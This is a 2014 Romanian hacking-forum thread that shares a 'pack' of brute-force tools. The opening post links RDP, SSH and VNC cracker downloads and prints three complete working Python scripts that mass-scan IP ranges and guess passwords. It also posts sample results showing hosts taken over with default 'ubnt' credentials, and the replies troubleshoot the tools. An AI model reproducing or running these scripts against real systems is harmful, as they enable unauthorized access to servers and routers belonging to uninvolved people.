Pack Brute Forcers

May 15, 2014

Windows

-RDP

DUbrute 2.1 + Scanner IP - DUbrute 2.1 + Scanner IP [Nmap].rar download - 2shared [ asta e cel mai usor de folosit , doar trebuie sa dati click pe executabile , la dubrute trebuie sa-i faceti configul cu ip-urile scanate din nmap si sa adaugati userii si parolele. ]

Fast RDP brute GUI v2.0 - http://dservers.ru/wp-content/uploads/2013/11/frdpb2.zip pass: dservers.ru

Versiune PYTHON pentru RDP brute :

#! /usr/bin/env python
# RDP Dictionary Attack
# 21.05.2012 cmiN
#
# THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
# I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
#
# Connect with rdesktop, xfreerdp or something similar using
# servers, users and passwords from files.
# After checking if the port is opened, the wrapper opens a shell console
# executing the client with data from input files. In the meantime
# a local socket is accepting connections from the target and if the link
# is established then the user and password for that server are a match.
#
# You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
# On gentoo based systems use emerge to find and install the newest packages.
# Contact: cmin764@yahoo/gmail.com




from sys import argv, platform
from threading import Thread, active_count, Lock
from subprocess import Popen
from socket import *




# defaults
THRD = 4 # how many threads for crack phase
TOUT = 6.0 # timeout in seconds
# get global host ip
try:
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect(("www.google.com", 80)) # assuming google works
except error as excp: # error from socket (timed out or invalid server)
    print "Check your internet connection: %s." % excp
    exit()
else:
    HOST = sock.getsockname()[0]
finally:
    sock.close()
    del sock
PORT = 51337 # used for local listening
# attack modes
RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
        "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
        "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
VERB = False # verbose
METH = "r" # RDP1
USER = ["Administrator"]
SAFE = True
SWTC = True
LIMT = None # attacks (test only, None -> unlimited)




class Engine:
    """Main class used to find and crack servers with desired options.
    For more info see usage from the bottom of the script.
    It executes commands through subprocess and waits for replies within timeout.
    """


    def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
        """Copy global options and prepare the core."""
        self.cli = True # activate print/stdout (set to False if a GUI is used)
        self.threads = threads
        self.timeout = timeout
        self.host = host
        self.port = port
        self.rdp1 = rdp1
        self.rdp2 = rdp2
        self.verbose = verbose
        self.sockets = dict() # D[x] = True if x is available otherwise False
        self.pos = list() # list with indexes (user, password, server, telnet)
        self.usr = usr
        self.pwd = None
        self.server = None
        # set the command used for scanning
        if method == "x":
            self.command = self.rdp2
        else:
            self.command = self.rdp1
        # default: don't save
        self.working = None
        self.cracked = None
        self.good = list() # rdp servers
        self.delete = set() # dispose of cracked servers
        self.lock = Lock() # global printing thread synchronization
        self.sock_mutex = Lock() # for localhost socket use
        if "linux" in platform:
            self.null = open("/dev/null", "w")
        else:
            self.null = open("NUL", "w")
        self.safe = safe
        self.switch = switch


    def __del__(self):
        """Destructor."""
        if hasattr(self.server, "close"):
            self.server.close()
        if hasattr(self.usr, "close"):
            self.usr.close()
        if self.pwd:
            self.pwd.close()
        if self.working:
            self.working.close()
        if self.cracked:
            self.cracked.close()
        for sock in self.sockets:
            sock.shutdown(SHUT_RDWR)
            sock.close()


    def generator(self, src, dest):
        """Just like grandpa's old mileage meter :]."""
        temp = "%d.%d.%d.%d"
        byte = 256
        yield temp % tuple(src) # yield -> the beauty of python
        while (src != dest):    # like return but continue
            src[3] += 1
            if src[3] == byte:
                src[3] = 0
                src[2] += 1
                if src[2] == byte:
                    src[2] = 0
                    src[1] += 1
                    if src[1] == byte:
                        src[1] = 0
                        src[0] += 1
            yield temp % tuple(src)


    def set_threads(self, threads):
        self.threads = threads


    def set_safe(self, safe):
        self.safe = safe


    def set_switch(self, switch):
        self.switch = switch


    def set_timeout(self, timeout):
        self.timeout = timeout


    def set_verbose(self, verbose):
        self.verbose = verbose


    def set_method(self, method):
        if method == "x":
            self.command = self.rdp2
        else:
            self.command = self.rdp1


    def set_usr(self, usr):
        """If this is called, then the users are taken from a file."""
        self.usr = open(usr, "r") # do not use the generic one


    def set_pwd(self, pwd):
        """The file with passwords is mandatory."""
        self.pwd = open(pwd, "r")


    def set_srv(self, server):
        """Make a file object or range generator from argument."""
        if server.find("-") == -1: # not found -> not range
            self.server = open(server, "r")
        else:
            chunks = server.split("-")
            src, dest = chunks[0].split("."), chunks[1].split(".")
            for i in xrange(4):
                src[i] = int(src[i])
                dest[i] = int(dest[i])
            self.server = self.generator(src, dest)


    def set_working(self, working):
        """Save progress in scan phase."""
        self.working = open(working, "a") # safe append


    def set_cracked(self, cracked):
        """Save progress in crack phase."""
        self.cracked = open(cracked, "a")


    def scan_server(self, server):
        """Check if the rdp port is opened on the specified server."""
        try:
            # create the socket and connect
            sock = socket(AF_INET, SOCK_STREAM)
            sock.connect((server, 3389))
        except error:
            # timed out in most cases
            if self.verbose:
                self.lock.acquire()
                if self.cli:
                    print "[-] %s [NO]" % server # only with -v
                self.lock.release()
        else:
            # good news everyone
            self.lock.acquire()
            if self.cli:
                print "[+] %s [OK]" % server
            self.good.append(server)
            if self.working:
                self.working.write(server + "\n")
                self.working.flush()
            self.lock.release()
        finally:
            sock.close()


    def scan(self):
        """Just like a port scanner for 3389."""
        setdefaulttimeout(self.timeout / 10.0) # 10%
        for server in self.server:
            while active_count() > self.threads * 16:
                pass # do not exceed number of threads
            if self.switch: # scan them
                # now call the method in a separate thread
                Thread(target=self.scan_server, args=[server.strip()]).start()
            else: # or skip the scan
                self.good.append(server.strip())
        while active_count() > 1:
            pass # join all


    def acquire_sock(self):
        for sock, state in self.sockets.iteritems():
            if state: # available
                self.sockets[sock] = False # use it
                return sock


    def release_sock(self, sock):
        self.sockets[sock] = True


    def crack_server(self, command):
        try:
            # get a server
            self.sock_mutex.acquire()
            sock = self.acquire_sock()
            self.sock_mutex.release()
            command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
            child = Popen(command, stdout=self.null, stderr=self.null) # no wait
            sock.accept() # here is the big overhead
        except error as excp:
            # timed out
            if self.verbose:
                self.lock.acquire()
                if self.cli:
                    print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
                                                  command[self.pos[1]])
                self.lock.release()
        else:
            # good news again
            show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
            self.delete.add(command[self.pos[2]]) # cracked! no need to process again
            self.lock.acquire()
            if self.cli:
                print "[+] " + show + " [OK]"
            if self.cracked:
                self.cracked.write(show + "\n")
                self.cracked.flush()
            self.lock.release()
        finally:
            child.kill()
            # do not close it, instead release it for further use
            self.release_sock(sock) # O(1) and can't affect the same socket


    def crack(self):
        """For each user take each password and test them with each working server."""
        goodLen = len(self.good)
        if goodLen == 0:
            if self.cli:
                print "[!] No servers to crack."
            return
        if self.safe: # avoid deadlocks or strange behavior
            self.set_threads(min(self.threads, goodLen))
        users = [line.strip() for line in self.usr]
        passwords = [line.strip() for line in self.pwd]
        if self.cli:
            print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
                                                     goodLen * self.timeout / self.threads)
        setdefaulttimeout(self.timeout) # now use the real timeout
        # prepare the sockets
        for port in xrange(self.threads):
            sock = socket(AF_INET, SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.bind((self.host, self.port + port))
            sock.listen(1)
            self.sockets[sock] = True
        # init command template
        command = self.command
        shellIndex = command.index("telnet {host} {port}")
        command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
        self.pos = [command.index("{user}"), command.index("{password}"),
                    command.index("{server}"), shellIndex]
        attacks = 0
        for user in users:
            command[self.pos[0]] = user
            for password in passwords:
                command[self.pos[1]] = password
                for server in self.good:
                    command[self.pos[2]] = server
                    while active_count() > self.threads:
                        pass # do not exceed number of threads
                    attacks += 1
                    if LIMT and attacks > LIMT:
                        if self.cli:
                            print "[!] Limit reached, buy the script."
                        return
                    # now call the method in a separate thread
                    Thread(target=self.crack_server, args=[command[:]]).start()
                for server in self.delete: # N^2 can be reduced to NlogN with set
                    self.good.remove(server) # and also to N with index memorization
                self.delete.clear()
        while active_count() > 1:
            pass # join all




def parse():
    at = 1
    params = list()
    while at < argc:
        if argv[at] in ("-h", "--help"):
            print usage
            exit() # do not start the process
        elif argv[at] in ("-v", "--verbose"):
            app.set_verbose(True)
        elif argv[at] in ("-t", "--threads"):
            at += 1
            app.set_threads(int(argv[at]))
        elif argv[at] in ("-T", "--timeout"):
            at += 1
            app.set_timeout(float(argv[at]))
        elif argv[at] in ("-m", "--method"):
            at += 1
            app.set_method(argv[at])
        elif argv[at] in ("-w", "--working"):
            at += 1
            app.set_working(argv[at])
        elif argv[at] in ("-c", "--cracked"):
            at += 1
            app.set_cracked(argv[at])
        elif argv[at] in ("-s", "--safe-off"):
            app.set_safe(False)
        elif argv[at] in ("-n", "--no-scan"):
            app.set_switch(False)
        else:
            if argv[at][0] == "-":
                raise Exception("Invalid option")
            params.append(argv[at])
        at += 1
    pLen = len(params)
    if pLen not in (2, 3):
        raise Exception("Invalid number of parameters")
    app.set_srv(params[-1])
    app.set_pwd(params[-2])
    if pLen == 3:
        app.set_usr(params[-3]) # same index as 0




def main():
    try:
        if argc == 1:
            # show a message or start the GUI which is missing 
            print "You should run: %s --help" % argv[0]
            exit()
        # or parse the arguments
        parse()
        # and start the scanner
        print "[i] Scan phase started."
        app.scan() # filter the input for working rdp servers
        print "[i] Crack phase started."
        app.crack() # crack them
    except Exception as excp:
        print "[x] Error: %s." % excp
    except KeyboardInterrupt:
        print "[!] Stopped."
    else:
        print "[i] Finished."




if __name__ == "__main__":
    argc = len(argv)
    usage = """
Usage: {0} [options] [usr] pwd server


Options:
    -t, --threads <number>     number of threads (parallel connections)
    -s, --safe-off             by default the number of threads is reduced
                               to the number of working servers if it's greater
                               use this option to keep the number of threads
    -T, --timeout <seconds>    waiting response time for each connection
    -m, --method <r/x>         use [r]desktop or [x]freerdp
    -w, --working <file>       file used to store servers with 3389 opened
    -c, --cracked <file>       file used to store cracked servers
    -n, --no-scan              skip scan phase asumming all servers are working rdps
    -v, --verbose              show extra information (default off)
    -h, --help                 show this help


Parameters:
    usr                        users file (default users: {1})
    pwd                        passwords file
    server                        servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)


Examples:
    {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
    {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
    {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt


Users, passwords and working servers are loaded into memory.
Be aware to not open a file for both read and write. More exactly do not use
the same file name with `-w`/`-c` and `server`.


THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM


Send bugs to cmin764@yahoo/gmail.com.
""".format(argv[0], USER)
    app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
    main()
    del app

Usage: {0} [options] [usr] pwd server

Options:

-t, --threads <number> number of threads (parallel connections)
-s, --safe-off by default the number of threads is reduced
to the number of working servers if it's greater
use this option to keep the number of threads
-T, --timeout <seconds> waiting response time for each connection
-m, --method <r/x> use [r]desktop or [x]freerdp
-w, --working <file> file used to store servers with 3389 opened
-c, --cracked <file> file used to store cracked servers
-n, --no-scan skip scan phase asumming all servers are working rdps
-v, --verbose show extra information (default off)
-h, --help show this help

Parameters:

usr users file (default users: {1})
pwd passwords file
server servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)

Examples:

{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt
Users, passwords and working servers are loaded into memory.
Be aware to not open a file for both read and write. More exactly do not use
the same file name with `-w`/`-c` and `server`.
THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM

- Servere linux cu acces root

Scanner versiune PYTHON:

import paramiko, sys, Queue, threading

class SSHBrute(threading.Thread): 
	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue		
	def run(self):
		while True:
			ip,user,passwd = self.queue.get()
			self.kraken(ip,user,passwd)
			self.queue.task_done()

	def kraken(self,ip,user,passwd):
		try:
			if ip in cracked: return False

			if '%user%' in str(passwd):
				passwd = passwd.split("%")[0] + user + passwd.split("%")[2]
			if '%User%' in str(passwd):
				pwd = user + passwd.split("%")[2]
				passwd = passwd.split("%")[0]+pwd.title()
			if str(passwd) == '%null%':
				passwd = ''

			ssh = paramiko.SSHClient()
			ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
			ssh.connect(ip, username=user, password=passwd, timeout=35)
			raw.write(ip+' '+user+' '+passwd+'\n')
			raw.flush()
			chan = ssh.get_transport().open_session()
			chan.settimeout(35)
			chan.exec_command('uname -a')
			data = chan.recv(1024)

			if len(data) == 0:
				nologs.write(ip+' '+user+' '+passwd+'\n')
				nologs.flush()
				return False

			val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
			val.flush()
			cracked.append(ip)
			chan.close()
			ssh.close()
			return True
		except Exception, e:
			if 'uthent' in str(e):
				if dbg == 'bad':
					bad.write(ip+'\n')
					bad.flush()
				#print '\r[+]Tried '+ip+' '+user+' '+passwd+' 				'
				ssh.close()
				return False
			#print ip, str(e)
			ssh.close()
			return False

def brutemain():
	if len(sys.argv) < 2:
		print """
	SSH Brute Force Tool
	Author:           @Elohim [RST]
	Usage:
	   bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*	
	  *The filter Switch Takes Either the word "bad" or "no".
	   If you supply the word bad, it filters in bad.txt only the ips 
	   which indeed support ssh AUTH and password didn't work"""
		return False
	ThreadNR = int(sys.argv[1])
	queue = Queue.Queue(maxsize=20000)
	try:
		i = 0
		for i in range(ThreadNR):
			t = SSHBrute(queue)
			t.daemon = True
			t.start()
			i += 1
	except Exception, e:
		print 'Cant start more than',i,'Threads!'

	global bad
	global val
	global nologs
	global cracked
	global raw
	cracked = []
	bad = open('bad.txt','w')
	val = open('valid.txt','a')
	nologs = open('nologins.txt','a')
	raw = open('raw.txt','a')
	with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
	with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines()
	with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines()
	global dbg
	dbg = str(sys.argv[5])

	try:
		for password in passwords:
			for user in users:
				for ip in ips:
					queue.put((ip,user,password))
	except:
		pass

	queue.join()

if __name__ == "__main__":
	brutemain()

In cazul in care nu stiti comenzile , doar rulati-le si va va da script-ul niste comenzi.

Exemplu care sunt bune:

68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown
68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown
68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown
68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown

- VNC

Versiunea cu executabil: GirlShare - Download Windows.rar - doar rulati-l si scrieti help , veti vedea care sunt comenzile. [trebuie sa modificati fisierul config ca sa scanati o clasa de ip]

Versiunea PYTHON:

import socket, struct
from Crypto.Cipher import DES
from sys import exc_info, exit, version_info, maxint
import sys
import Queue, threading
bad = open('bad.txt','w')
valid = open('valid.txt','a')
err = open('error.txt','w')
cracked = []
try:
	with open('valid.txt','rU') as vf: valids = vf.read().splitlines()
	for val in valids:
		h1 = val.split(" ")[0]
		cracked.append(h1)
except:
	pass

queue = Queue.Queue(maxsize=4000)
with open('ips.txt','rU') as ipf: hosts = ipf.read().splitlines()
with open('pass.txt','rU') as pf: passwords = pf.read().splitlines()
ThreadNmber = int(sys.argv[1])
Verbose = str(sys.argv[2])

def gen_key(key):
	try:
		newkey = []
		for ki in range(len(key)):
			bsrc = ord(key[ki])
			btgt = 0
			for i in range(8):
				if bsrc & (1 << i):
					btgt = btgt | (1 << 7-i)
			newkey.append(btgt)

		if version_info[0] == 2:
			return ''.join(chr(c) for c in newkey)
		else:
			return bytes(newkey)
	except:
		pass


class VNCBrute(threading.Thread):
 	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue

	def run(self):
		while True:
			host,passwd = self.queue.get()
			self.checker(host,passwd)
			self.queue.task_done()

	def checker(self,host,password):
		try:
			if host in cracked: return False

			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.setblocking(0)
			s.settimeout(25)
			s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))

			s.connect((host,5900))
			resp = s.recv(99)

			version = resp[:11].decode('ascii')
			if len(resp) > 12: 
				s.close()
				return False

			major, minor = version[6], version[10]
			if (major, minor) in [('3', '8'), ('4', '1')]: proto = b'RFB 003.008\n'
			elif (major, minor) == ('3', '7'): proto = b'RFB 003.007\n'
			else: proto = b'RFB 003.003\n'

			s.sendall(proto)
			resp = s.recv(99)

			if minor in ('7', '8'):
				code = ord(resp[0:1])
				if code == 0: 
					s.close()
					return False	
				s.sendall(b'\x02')
				resp = s.recv(99)
			else:
				code = ord(resp[3:4])
				if code != 2: 
					s.close()
					return False
				resp = resp[-16:]

			if len(resp) != 16: 
				s.close()
				return False

			sys.stdout.write("\r[+]Trying "+host+' '+password+'                                                      ')
			sys.stdout.flush()
			pw = password.ljust(8, '\x00')[:8]
			key = gen_key(pw)

			des = DES.new(key, DES.MODE_ECB)
			enc = des.encrypt(resp)

			s.sendall(enc)
			resp = s.recv(99)

			code = ord(resp[3:4])
			mesg = resp[8:].decode('ascii', 'ignore')

			if code == 1:
				if Verbose == 'v':
					bad.write(host+'\n')
					bad.flush()
				s.close()
			elif code == 0:
				valid.write(host+' '+password+'\n')
				valid.flush()
				cracked.append(host)
				print '\rOWNED!!! '+' '+host+' '+password,'                                                                      '
				s.close()
			else: 
				s.close()
				return False
		except Exception, e: 
			err.write(host+'\n')
			err.flush()
			pass


def main():
	try:
		i = 0
		for i in range(ThreadNmber):
			t = VNCBrute(queue)
			t.daemon = True
			t.start()
			i += 1
	except Exception, e:
		print 'Stopped at',i,'Threads'
		sys.exit()
	print i,'Threads spawned'

	for password in passwords:
		for host in hosts:
			queue.put((host,password))

	queue.join()


print '[+] VNC Brute Force Tool'
print '[+] Author: Elohim '	
main()

Exemplu folosire:

python vnc.py 100 v/no

- 100 = Numarul de threaduri. Testat pana la 1400 de threaduri, merge impecabil daca ne permite viteza internetului.

v/no = Daca se lasa decat V, si se foloseste doar un user si o parola, se va scrie in fisierul bad.txt DOAR ipurile care chiar ruleaza un soft de vnc, si autentificarea nu a avut success.

Acea comanda o rulati in cmd , unde aveti fisierul .py pus [EX: run>cmd>cd Desktop>python fisier.py 225 v]

Linux

- RDP

RDPSploit - GirlShare - Download Linux-RDP-master.zip ; doar il rulati , o sa va dea comenzile : contine si range-urile pe tari

Versiunea PYTHON - O PUTETI DESCARCA PE CEA DE LA WINDOWS , ESTE LA FEL

- Servere linux cu acces root

Gosh2013 V2[NECESITA ETH0] - Gosh2013gosh20013.tgz

Utilizare: ./go 199

Versiunea PYTHON - O PUTETI DESCARCA PE CEA DE LA WINDOWS , ESTE LA FEL

Bruteforce ssh2 private scanner - Zippyshare.com - bssh.tgz

Avantaje:
1. filtreaza busybox
2. toate cele din bash.txt sunt servere bune
3. exista session.txt , daca se restarteaza root-ul, poti porni manual din ssh2
4. daca root-ul are mai multe interfete (ip-uri) se pot pune in fisierul interfaces.txt cate un ip pe rand, asta ajuta la scanarea mai buna pentru ca se fac requesturi de pe mai multe ip
5. pscanul este facut cu multithread adica mult mai rapid decat cele publice
Cum se foloseste?
./scan A
./scan B
./scan C
A = range A ; ex: ./scan 70
B = range B ; ex: ./scan 70.8
C = range C ; ex: ./scan 70.6.1

- VNC

Versiunea PYTHON - DESCARCATI VERSIUNEA DE LA WINDOWS , ESTE LA FEL.

VNC Pizza 0x100 - Zippyshare.com - 400.rar

Necesita eth0 , doar rulati scriptul si va va da indicatii.

- NoLogins

SSH.zip - GirlShare - Download ssh.zip

Quote:

Exemplu: ./scan 188

NoLoginele se salveaza in fisierul “vuln.txt”

Edited June 19, 2014 by BlackGate

Gio33 · May 15, 2014

Pune si un virus scan la exe-uri, era dragut sa cryptezi linkurile...

Acum asteapta te la intrebari "ce fac imi da eroare xyz" , " cum fac..." , "ce e eth0 ?", "cine are un r00t ?", "da ala prinde bine?", "un passfile bun imi dati si mie" ..

CaBRoN88 · May 17, 2014

interesanta mini colectia ia sa vedem ce putem folosi.merci

Hubba · June 11, 2014

gosh2013 nu mai merge..

SuKySK · June 13, 2014

SSH.zip - GirlShare - Download ssh.zip - nu mai merge descarcata .

RDPSploit - GirlShare - Download Linux-RDP-master.zip - este corupta .

dancezar · June 13, 2014

SSH.zip - GirlShare - Download ssh.zip - nu mai merge descarcata .
RDPSploit - GirlShare - Download Linux-RDP-master.zip - este corupta .

RDPSploit nu este corupta extrage cu WinRar si arhiveaza din nou

SuKySK · June 13, 2014

! C:\Documents and Settings\*\Desktop\filehost_Linux-RDP-master.zip: The archive is either in unknown format or damaged

danyweb , nu sunt nebun ..

F4LL007 · June 19, 2014

Am o problema la VNC Scanner.Imi da eroare cand scaneaza din cauza threadurilor.Nu mi-a facut asta pana acum niciodata.

Elohim · June 19, 2014

Am o problema la VNC Scanner.Imi da eroare cand scaneaza din cauza threadurilor.Nu mi-a facut asta pana acum niciodata.

Daca windows, mai scade din thread-uri

Daca linux, un ulimit -s 512 inainte ar trebui sa rezolve problema, si la fel, mai scade din thread-uri

June 19, 2014

era greu tare sa stergeti < / br> de la link pentru gosh am modificat eu ca voua va e lene.

ssh.zip - functioneaza

rdpsploit- functioneaza si el , va trebuie doar creier

https://github.com/Hood3dRob1n/Linux-RDP/

snip · August 4, 2014

Daca poti sa schimbi linkul din 2shared in zippy:))

StereoONLINE · August 21, 2014

La ip (Du burte) se pune clasa adica

169.0.0.0 - 169.99.99.99 ? sau doar un ip..

jaokaojao · September 12, 2014

un update link gosh va rog?

Sign In

Pack Brute Forcers

Recommended Posts

Guest

Gio33

CaBRoN88

Hubba

SuKySK

dancezar

SuKySK

F4LL007

Elohim

Guest

snip

StereoONLINE

jaokaojao

Join the conversation

Browse

Activity

Pages